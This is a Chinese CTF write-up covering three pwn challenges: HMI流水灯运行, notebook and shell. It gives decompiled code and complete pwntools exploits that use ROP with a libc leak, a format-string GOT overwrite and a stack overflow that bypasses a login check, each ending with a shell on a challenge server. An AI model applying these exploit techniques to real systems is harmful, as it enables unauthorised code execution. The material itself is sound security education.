【WriteUp】攻防世界--Pwn题解(Part 3)

第一个 Part 3 !!!

HMI流水灯运行

Description:

小D在一套HMI人机接口的流水灯中,发现它的接口存在一定的问题,需要我们去查找它的漏洞。


Solution:

考的是条件竞争,涉及两个函数 signal 和 alarm,主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[4]; // [esp+Fh] [ebp-69h]
struct timeval v5; // [esp+4Ch] [ebp-2Ch]
struct timeval tv; // [esp+54h] [ebp-24h]
int v7; // [esp+5Ch] [ebp-1Ch]
int k; // [esp+60h] [ebp-18h]
int j; // [esp+64h] [ebp-14h]
int i; // [esp+68h] [ebp-10h]
int v11; // [esp+6Ch] [ebp-Ch]

init();
puts("Welcome to horse race lamp program");
sleep(1u);
write(1, "Initialization the program\n", 0x1Bu);
gettimeofday(&tv, 0);
sleep(1u);
for ( i = 0; i <= 2; ++i )
{
v11 = 100;
for ( j = 0; j <= 59; ++j )
{
strcpy(s, "............................................................");
s[j] = '*';
puts(s);
sleep_ms(v11);
printf("\x1B[1A");
printf("\x1B[K");
}
for ( k = 58; k > 0; --k )
{
strcpy(s, "............................................................");
s[k] = '*';
puts(s);
sleep_ms(v11);
printf("\x1B[1A");
printf("\x1B[K");
if ( i == 2 && k == 2 )
{
signal(14, handler);
alarm(2u);
}
}
}
gettimeofday(&v5, 0);
v7 = v5.tv_usec + 1000000 * (v5.tv_sec - tv.tv_sec) - tv.tv_usec;
puts("\n");
return gee();
}

可以看出来在 i 等于 2 时,会将 SIGALRM 信号设置为 handler 函数(一个关于这两个 for 函数的死循环)

然后设置 alarm(2u) 使得 2 秒后程序接收到 SIGALRM 信号,然后执行 handler 函数的内容

但是在这 2 秒内,程序已经运行到了底下的 gee 函数内,这时如果利用 rop 把 alarm 的秒数改为 0,就可以取消掉 alarm

漏洞点是送分的,直接 rop 就完了,如下:

1
2
3
4
5
6
ssize_t gee()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

这题 libc 给对了,感人

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./format')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 54167)
libc = ELF('libc_32.so.6', checksec=False)
elf = ELF('./format', checksec=False)
plt_alarm = elf.plt['alarm']
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
addr_main = 0x80488AD
addr_ebp_ret = 0x08048bbb

p.recvuntil('Initialization the program\n')
p.recvuntil('*...........................................................')
info('step 1 finished')
p.recvuntil('*...........................................................')
info('step 2 finished')
p.recvuntil('*...........................................................')
info('step 3 finished')
p.recvuntil('\x1b\x5b\x31\x41\x1b\x5b\x4b\x0a\x0a')
info('step 4 finished')

pd = 'a' * 0x8c
pd += p32(plt_alarm)
pd += p32(addr_ebp_ret)
pd += p32(0)
pd += p32(plt_puts)
pd += p32(addr_main)
pd += p32(got_puts)
p.send(pd)

addr_puts = u32(p.recv(4))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
success('addr_puts = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))

p.recvuntil('Initialization the program\n')
p.recvuntil('*...........................................................')
info('step 1 finished')
p.recvuntil('*...........................................................')
info('step 2 finished')
p.recvuntil('*...........................................................')
info('step 3 finished')
p.recvuntil('\x1b\x5b\x31\x41\x1b\x5b\x4b\x0a\x0a')
info('step 4 finished')

# gdb.attach(p, "b *0x080488AC\nc")
pd = 'a' * 0x8c
pd += p32(plt_alarm)
pd += p32(addr_ebp_ret)
pd += p32(0)
pd += p32(addr_system)
pd += p32(addr_main)
pd += p32(addr_bin_sh)
p.send(pd)
p.interactive()

Flag:

1
动态靶机

notebook

Description:

暂无


Solution:

一开始看见程序怎么输入都会炸人都傻了

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int __cdecl main(int a1)
{
size_t v1; // ST20_4
int result; // eax
int v3; // eax
signed int i; // [esp+0h] [ebp-A0h]
void *dest; // [esp+4h] [ebp-9Ch]
size_t v6; // [esp+8h] [ebp-98h]
char *format; // [esp+Ch] [ebp-94h]
char *v8; // [esp+10h] [ebp-90h]
char *ptr; // [esp+14h] [ebp-8Ch]
int v10; // [esp+18h] [ebp-88h]
int v11; // [esp+1Ch] [ebp-84h]
char s[96]; // [esp+20h] [ebp-80h]
int v13; // [esp+80h] [ebp-20h]
unsigned int v14; // [esp+84h] [ebp-1Ch]
int *v15; // [esp+90h] [ebp-10h]

v15 = &a1;
v14 = __readgsdword(0x14u);
v10 = 1378775629;
v11 = 1953456741;
memset(s, 0, 0x3E8u);
puts("Welcome to QCTF.");
puts("May I have your name?");
dest = malloc(0x3E8u);
memset(dest, 0, 0x3E8u);
sub_8048711(s, 999);
s[strlen(s)] = 0;
for ( i = 0; i <= 7 && *((_BYTE *)&v10 + i) == s[i]; ++i )
;
system("sleep 0.1");
memcpy(dest, s, 0x3E8u);
v1 = strlen((const char *)dest);
format = (char *)malloc(2 * v1);
memset(format, 0, 2 * v1);
v6 = strlen((const char *)dest);
dword_804A06C = strlen((const char *)dest);
strlen((const char *)dest);
if ( sub_80486D3((char *)dest, format) == 1 )
{
printf(format);
fflush(stdout);
free(format);
puts(",would you want to write something on the notebook?");
v8 = (char *)malloc(0x64u);
memset(v8, 0, 0x64u);
sub_8048711(s, 100);
s[strlen(s)] = 0;
*(_DWORD *)v8 = *(_DWORD *)s;
*((_DWORD *)v8 + 24) = v13;
qmemcpy(
(void *)((unsigned int)(v8 + 4) & 0xFFFFFFFC),
(const void *)(s - &v8[-((unsigned int)(v8 + 4) & 0xFFFFFFFC)]),
4 * (((unsigned int)&v8[-((unsigned int)(v8 + 4) & 0xFFFFFFFC) + 100] & 0xFFFFFFFC) >> 2));
ptr = (char *)malloc(200 * v6);
memset(ptr, 0, 200 * v6);
v3 = strlen(v8);
if ( sub_804869B(v8, ptr, v3) == 1 )
{
memset(ptr + 7, 0, 200 * v6 - 7);
free(ptr);
printf(v8);
puts(",sounds great!");
}
else
{
memset(ptr + 7, 0, 200 * v6 - 7);
free(ptr);
puts("Too special");
}
result = 0;
}
else
{
puts("Too special");
result = 0;
}
return result;
}

其中 sub_80486D3 函数如下:

1
2
3
4
5
_BOOL4 __cdecl sub_80486D3(char *format, char *s)
{
sprintf(s, format);
return strlen(s) == dword_804A06C;
}

题目中给了 plt_system,那么直接把 got_free 的内容改成 plt_system,之后再释放写有/bin/sh的字符串即可

这里有判断,输入的字符和输出的字符是否相等,不相等直接退出

我们可以用格式化字符串漏洞直接改成我们想要的数值,绕过很简单

然后就是;的妙用了,不过/bin/sh后面加空格也行,就是输出没;好看

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./notebook')
else:
p = remote('111.198.29.45', 59541)
elf = ELF('./notebook', checksec=False)
got_free = elf.got['free']
addr_len = 0x0804A06C

# gdb.attach(p, "set follow-fork-mode parent\nb *0x8048960\nc\nsi")
pd = '/bin/sh;'
pd += p32(got_free)
pd += p32(got_free + 1)
pd += p32(addr_len)
pd += '%50d%23$hhn'
pd += '%63d%24$hhn'
pd += '%25$hhn'
p.sendline(pd)
p.recv()
p.interactive()

Flag:

1
动态靶机

shell

Description:

机密


Solution:

主要函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
__int64 v4; // [rsp+0h] [rbp-F0h]
__int64 v5; // [rsp+8h] [rbp-E8h]
__int64 v6; // [rsp+10h] [rbp-E0h]
__int64 v7; // [rsp+18h] [rbp-D8h]
const char **v8; // [rsp+30h] [rbp-C0h]
const char *v9; // [rsp+38h] [rbp-B8h]
const char *s2; // [rsp+40h] [rbp-B0h]
size_t n; // [rsp+48h] [rbp-A8h]
__ssize_t v12; // [rsp+50h] [rbp-A0h]
char *lineptr; // [rsp+58h] [rbp-98h]
FILE *stream; // [rsp+60h] [rbp-90h]
char v15; // [rsp+6Fh] [rbp-81h]
int v16; // [rsp+70h] [rbp-80h]
int v17; // [rsp+74h] [rbp-7Ch]
int v18; // [rsp+94h] [rbp-5Ch]
int v19; // [rsp+B4h] [rbp-3Ch]
char *filename; // [rsp+D8h] [rbp-18h]
const char **v21; // [rsp+E0h] [rbp-10h]
int v22; // [rsp+E8h] [rbp-8h]
int v23; // [rsp+ECh] [rbp-4h]

v23 = 0;
v22 = argc;
v21 = argv;
filename = "creds.txt";
v16 = 0;
v15 = '$';
setvbuf(_bss_start, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
printf("%c ", v15, v4, v5, v6, v7);
gets(&v19);
if ( !strcmp(&v19, "login") )
break;
v8 = command_get(&v19);
if ( v8 )
{
if ( *(v8 + 4) != 1 || v16 == 1 )
(v8[1])(&v19, "login");
else
HIDWORD(v4) = puts("Permission denied");
}
else
{
LODWORD(v4) = puts("Command not found");
}
}
printf("Username: ", "login");
HIDWORD(v7) = gets(&v17);
LODWORD(v7) = printf("Password: ");
HIDWORD(v6) = gets(&v18);
stream = fopen(filename, "r");
for ( lineptr = 0LL; ; lineptr = 0LL )
{
n = 0LL;
v12 = getline(&lineptr, &n, stream);
if ( v12 < 0 )
{
free(lineptr);
goto LABEL_12;
}
lineptr[v12 - 1] = 0;
s2 = strtok(lineptr, ":");
v9 = strtok(0LL, ":");
if ( s2 )
{
if ( v9 && !strcmp(&v17, s2) && !strcmp(&v18, v9) )
break;
}
free(lineptr);
}
v3 = puts("Authenticated!");
v15 = '#';
v16 = 1;
LODWORD(v6) = v3;
LABEL_12:
if ( v16 != 1 )
HIDWORD(v5) = puts("Authentication failed!");
LODWORD(v5) = fclose(stream);
}
}

代码的意思是要从一个地址找一个文件名,然后打开它,因为外层 while 循环跳不出去所以不能 rop

假如 username 和 password 作为冒号两端的字符串被匹配到,就有了执行 login 以外函数的能力

届时再调用 sh 命令就行,那么这里我们在 ida 里面用 shift + f12 可以搜索到这样一个字符串/lib64/ld-linux-x86-64.so.2

我们记下它的地址0x400200,然后覆盖 filename 的值为这个地址,再输入两个符合的字符串就行了

字符串可以通过如下代码来寻找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>

int main(void){
FILE *fp;
char *lineptr;
char *username;
char *password;
size_t n;
fp = fopen("/lib64/ld-linux-x86-64.so.2", "r");
if(fp != NULL){
while(~getline(&lineptr, &n, fp)){
username = strtok(lineptr, ":");
password = strtok(0, ":");
printf("%s:%s\n", username, password);
}
fclose(fp);
}
else{
puts("fail to open the file");
}
return 0;
}

打印出来的样式部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
statisticsdisplay relocation statistics:(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
Version information:

(null):(null)
(null):(null)
(null):(null)
Initial object scopes
:(null)
(null):(null)
prelink checking: %s

(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
(null):(null)
relocation processing: %s%s

(null):(null)
(null):(null)
(null):(null)
calling init: %s

不是 (null) 的基本都能使用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./shell')
else:
p = remote('111.198.29.45', 54655)
addr_ld_linux = 0x400200

# gdb.attach(p, "b *0x400CAD\nc")
pd = 'login'
pd = pd.ljust(0x24, '\x00')
pd += p64(addr_ld_linux)
p.sendlineafter('$ ', pd)
p.sendlineafter('Username: ', 'prelink checking')
p.sendlineafter('Password: ', ' %s')
p.sendlineafter('# ', 'sh')
p.interactive()

Flag:

1
动态靶机
文章目录
  1. 1. HMI流水灯运行
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. notebook
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. shell
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
|